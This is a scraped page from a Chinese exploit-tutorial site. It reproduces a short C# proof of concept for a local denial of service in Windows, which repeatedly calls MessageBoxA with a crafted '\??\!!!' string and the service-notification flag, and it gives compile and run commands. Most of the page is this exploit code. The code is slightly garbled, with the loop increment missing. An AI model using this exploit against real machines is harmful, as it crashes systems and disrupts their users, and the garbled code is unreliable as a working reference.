MS Windows (MessageBox) Memory Corruption Local Denial of Service_Exploit教程-查字典教程网
MS Windows (MessageBox) Memory Corruption Local Denial of Service
MS Windows (MessageBox) Memory Corruption Local Denial of Service
发布时间:2016-12-21 来源:查字典编辑
摘要://mbox.csusingSystem;usingSystem.Runtime.InteropServices;classHelloWor...

// mbox.cs

using System;

using System.Runtime.InteropServices;

class HelloWorldFromMicrosoft

{

[DllImport("user32.dll")]

unsafe public static extern int MessageBoxA(uint hwnd, byte* lpText, byte* lpCaption, uint uType); static unsafe void Main()

{

byte[] helloBug = new byte[] {0x5C, 0x3F, 0x3F, 0x5C, 0x21, 0x21, 0x21, 0x00};

uint MB_SERVICE_NOTIFICATION = 0x00200000u;

fixed(byte* pHelloBug = &helloBug[0])

{

for(int i=0; i<10; i )

MessageBoxA(0u, pHelloBug, pHelloBug, MB_SERVICE_NOTIFICATION);

}

}

}

// >> csc /unsafe mbox.cs

// >> mbox.exe//http://www.leftworld.net

相关阅读
推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
  • 大家都在看
  • 小编推荐
  • 猜你喜欢
  • 最新Exploit学习
    热门Exploit学习
    网络安全子分类